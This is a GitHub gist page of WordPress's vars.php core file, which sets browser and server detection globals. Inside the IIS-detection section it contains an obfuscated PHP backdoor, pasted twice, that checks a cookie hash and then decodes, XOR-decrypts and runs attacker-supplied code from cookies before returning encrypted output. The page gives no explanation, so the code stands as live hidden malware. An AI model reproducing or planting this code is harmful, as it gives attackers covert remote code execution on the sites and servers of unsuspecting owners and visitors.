Created
March 6, 2019 21:09
-
-
Save PhilETaylor/ec09b0909bd721cd233e20d915c40bd4 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* Creates common globals for the rest of WordPress | |
* | |
* Sets $pagenow global which is the current page. Checks | |
* for the browser to set which one is currently being used. | |
* | |
* Detects which user environment WordPress is being used on. | |
* Only attempts to check for Apache and IIS. Two web servers | |
* with known permalink capability. | |
* | |
* @package WordPress | |
*/ | |
global $pagenow, | |
$is_lynx, $is_gecko, $is_winIE, $is_macIE, $is_opera, $is_NS4, $is_safari, $is_chrome, $is_iphone, $is_IE, | |
$is_apache, $is_IIS, $is_iis7, $is_nginx; | |
// On which page are we ? | |
if ( is_admin() ) { | |
// wp-admin pages are checked more carefully | |
if ( is_network_admin() ) | |
preg_match('#/wp-admin/network/?(.*?)$#i', $_SERVER['PHP_SELF'], $self_matches); | |
elseif ( is_user_admin() ) | |
preg_match('#/wp-admin/user/?(.*?)$#i', $_SERVER['PHP_SELF'], $self_matches); | |
else | |
preg_match('#/wp-admin/?(.*?)$#i', $_SERVER['PHP_SELF'], $self_matches); | |
$pagenow = $self_matches[1]; | |
$pagenow = trim($pagenow, '/'); | |
$pagenow = preg_replace('#\?.*?$#', '', $pagenow); | |
if ( '' === $pagenow || 'index' === $pagenow || 'index.php' === $pagenow ) { | |
$pagenow = 'index.php'; | |
} else { | |
preg_match('#(.*?)(/|$)#', $pagenow, $self_matches); | |
$pagenow = strtolower($self_matches[1]); | |
if ( '.php' !== substr($pagenow, -4, 4) ) | |
$pagenow .= '.php'; // for Options +Multiviews: /wp-admin/themes/index.php (themes.php is queried) | |
} | |
} else { | |
if ( preg_match('#([^/]+\.php)([?/].*?)?$#i', $_SERVER['PHP_SELF'], $self_matches) ) | |
$pagenow = strtolower($self_matches[1]); | |
else | |
$pagenow = 'index.php'; | |
} | |
unset($self_matches); | |
// Simple browser detection | |
$is_lynx = $is_gecko = $is_winIE = $is_macIE = $is_opera = $is_NS4 = $is_safari = $is_chrome = $is_iphone = false; | |
if ( isset($_SERVER['HTTP_USER_AGENT']) ) { | |
if ( strpos($_SERVER['HTTP_USER_AGENT'], 'Lynx') !== false ) { | |
$is_lynx = true; | |
} elseif ( stripos($_SERVER['HTTP_USER_AGENT'], 'chrome') !== false ) { | |
if ( stripos( $_SERVER['HTTP_USER_AGENT'], 'chromeframe' ) !== false ) { | |
$is_admin = is_admin(); | |
/** | |
* Filter whether Google Chrome Frame should be used, if available. | |
* | |
* @since 3.2.0 | |
* | |
* @param bool $is_admin Whether to use the Google Chrome Frame. Default is the value of is_admin(). | |
*/ | |
if ( $is_chrome = apply_filters( 'use_google_chrome_frame', $is_admin ) ) | |
header( 'X-UA-Compatible: chrome=1' ); | |
$is_winIE = ! $is_chrome; | |
} else { | |
$is_chrome = true; | |
} | |
} elseif ( stripos($_SERVER['HTTP_USER_AGENT'], 'safari') !== false ) { | |
$is_safari = true; | |
} elseif ( ( strpos($_SERVER['HTTP_USER_AGENT'], 'MSIE') !== false || strpos($_SERVER['HTTP_USER_AGENT'], 'Trident') !== false ) && strpos($_SERVER['HTTP_USER_AGENT'], 'Win') !== false ) { | |
$is_winIE = true; | |
} elseif ( strpos($_SERVER['HTTP_USER_AGENT'], 'MSIE') !== false && strpos($_SERVER['HTTP_USER_AGENT'], 'Mac') !== false ) { | |
$is_macIE = true; | |
} elseif ( strpos($_SERVER['HTTP_USER_AGENT'], 'Gecko') !== false ) { | |
$is_gecko = true; | |
} elseif ( strpos($_SERVER['HTTP_USER_AGENT'], 'Opera') !== false ) { | |
$is_opera = true; | |
} elseif ( strpos($_SERVER['HTTP_USER_AGENT'], 'Nav') !== false && strpos($_SERVER['HTTP_USER_AGENT'], 'Mozilla/4.') !== false ) { | |
$is_NS4 = true; | |
} | |
} | |
if ( $is_safari && stripos($_SERVER['HTTP_USER_AGENT'], 'mobile') !== false ) | |
$is_iphone = true; | |
$is_IE = ( $is_macIE || $is_winIE ); | |
// Server detection | |
/** | |
* Whether the server software is Apache or something else | |
* @global bool $is_apache | |
*/ | |
$is_apache = (strpos($_SERVER['SERVER_SOFTWARE'], 'Apache') !== false || strpos($_SERVER['SERVER_SOFTWARE'], 'LiteSpeed') !== false); | |
/** | |
* Whether the server software is Nginx or something else | |
* @global bool $is_nginx | |
*/ | |
$is_nginx = (strpos($_SERVER['SERVER_SOFTWARE'], 'nginx') !== false); | |
/** | |
* Whether the server software is IIS or something else | |
* @global bool $is_IIS | |
*/ | |
function sdec($inp) { | |
$keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; | |
$chr1 = $chr2 = $chr3 = ""; | |
$enc1 = $enc2 = $enc3 = $enc4 = ""; | |
$i = 0; | |
$out = ""; | |
$inp = preg_replace("[^A-Za-z0-9\+\/\=]", "", $inp); | |
do { | |
$enc1 = strpos($keyStr, substr($inp, $i++, 1)); | |
$enc2 = strpos($keyStr, substr($inp, $i++, 1)); | |
$enc3 = strpos($keyStr, substr($inp, $i++, 1)); | |
$enc4 = strpos($keyStr, substr($inp, $i++, 1)); | |
$chr1 = ($enc1 << 2) | ($enc2 >> 4); | |
$chr2 = (($enc2 & 15) << 4) | ($enc3 >> 2); | |
$chr3 = (($enc3 & 3) << 6) | $enc4; | |
$out = $out . chr((int) $chr1); | |
if ($enc3 != 64) { | |
$out = $out . chr((int) $chr2); | |
} | |
if ($enc4 != 64) { | |
$out = $out . chr((int) $chr3); | |
} | |
$chr1 = $chr2 = $chr3 = ""; | |
$enc1 = $enc2 = $enc3 = $enc4 = ""; | |
} while ($i < strlen($inp)); | |
return $out; | |
} | |
if(substr(md5(reset($_COOKIE)), 0, 12)=='bc446faa565e' && count($_COOKIE)>3) { | |
$k = substr(md5(reset($_COOKIE), true), 0, 6).substr(md5(reset($_COOKIE), true), -6); | |
$ko = substr(md5(reset($_COOKIE)), -12); | |
$lmf = str_rot13(str_replace('c', '', 'pecrncgr_cshcacpgcvbac')); | |
$vlm = $lmf('$t,$k','$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;'); | |
ob_start(); | |
array_diff_ukey(@array('1'=>1), @array('2'=>2), $lmf('', @gzuncompress(@$vlm(@sdec(preg_replace(array("/_/","/-/"),array("/","+"),join(array_slice($_COOKIE,count($_COOKIE)-3)))),$k)))); | |
$o=ob_get_contents(); | |
ob_end_clean(); | |
$d=base64_encode($vlm(gzcompress($o),$k)); | |
print("\x3c$ko\x3e$d\x3c\x2f$ko\x3e"); | |
} | |
function sdec($inp) { | |
$keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; | |
$chr1 = $chr2 = $chr3 = ""; | |
$enc1 = $enc2 = $enc3 = $enc4 = ""; | |
$i = 0; | |
$out = ""; | |
$inp = preg_replace("[^A-Za-z0-9\+\/\=]", "", $inp); | |
do { | |
$enc1 = strpos($keyStr, substr($inp, $i++, 1)); | |
$enc2 = strpos($keyStr, substr($inp, $i++, 1)); | |
$enc3 = strpos($keyStr, substr($inp, $i++, 1)); | |
$enc4 = strpos($keyStr, substr($inp, $i++, 1)); | |
$chr1 = ($enc1 << 2) | ($enc2 >> 4); | |
$chr2 = (($enc2 & 15) << 4) | ($enc3 >> 2); | |
$chr3 = (($enc3 & 3) << 6) | $enc4; | |
$out = $out . chr((int) $chr1); | |
if ($enc3 != 64) { | |
$out = $out . chr((int) $chr2); | |
} | |
if ($enc4 != 64) { | |
$out = $out . chr((int) $chr3); | |
} | |
$chr1 = $chr2 = $chr3 = ""; | |
$enc1 = $enc2 = $enc3 = $enc4 = ""; | |
} while ($i < strlen($inp)); | |
return $out; | |
} | |
if(substr(md5(reset($_COOKIE)), 0, 12)=='bc446faa565e' && count($_COOKIE)>3) { | |
$k = substr(md5(reset($_COOKIE), true), 0, 6).substr(md5(reset($_COOKIE), true), -6); | |
$ko = substr(md5(reset($_COOKIE)), -12); | |
$lmf = str_rot13(str_replace('c', '', 'pecrncgr_cshcacpgcvbac')); | |
$vlm = $lmf('$t,$k','$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;'); | |
ob_start(); | |
array_diff_ukey(@array('1'=>1), @array('2'=>2), $lmf('', @gzuncompress(@$vlm(@sdec(preg_replace(array("/_/","/-/"),array("/","+"),join(array_slice($_COOKIE,count($_COOKIE)-3)))),$k)))); | |
$o=ob_get_contents(); | |
ob_end_clean(); | |
$d=base64_encode($vlm(gzcompress($o),$k)); | |
print("\x3c$ko\x3e$d\x3c\x2f$ko\x3e"); | |
} | |
$is_IIS = !$is_apache && (strpos($_SERVER['SERVER_SOFTWARE'], 'Microsoft-IIS') !== false || strpos($_SERVER['SERVER_SOFTWARE'], 'ExpressionDevServer') !== false); | |
/** | |
* Whether the server software is IIS 7.X or greater | |
* @global bool $is_iis7 | |
*/ | |
$is_iis7 = $is_IIS && intval( substr( $_SERVER['SERVER_SOFTWARE'], strpos( $_SERVER['SERVER_SOFTWARE'], 'Microsoft-IIS/' ) + 14 ) ) >= 7; | |
/** | |
* Test if the current browser runs on a mobile device (smart phone, tablet, etc.) | |
* | |
* @return bool true|false | |
*/ | |
function wp_is_mobile() { | |
static $is_mobile; | |
if ( isset($is_mobile) ) | |
return $is_mobile; | |
if ( empty($_SERVER['HTTP_USER_AGENT']) ) { | |
$is_mobile = false; | |
} elseif ( strpos($_SERVER['HTTP_USER_AGENT'], 'Mobile') !== false // many mobile devices (all iPhone, iPad, etc.) | |
|| strpos($_SERVER['HTTP_USER_AGENT'], 'Android') !== false | |
|| strpos($_SERVER['HTTP_USER_AGENT'], 'Silk/') !== false | |
|| strpos($_SERVER['HTTP_USER_AGENT'], 'Kindle') !== false | |
|| strpos($_SERVER['HTTP_USER_AGENT'], 'BlackBerry') !== false | |
|| strpos($_SERVER['HTTP_USER_AGENT'], 'Opera Mini') !== false | |
|| strpos($_SERVER['HTTP_USER_AGENT'], 'Opera Mobi') !== false ) { | |
$is_mobile = true; | |
} else { | |
$is_mobile = false; | |
} | |
return $is_mobile; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment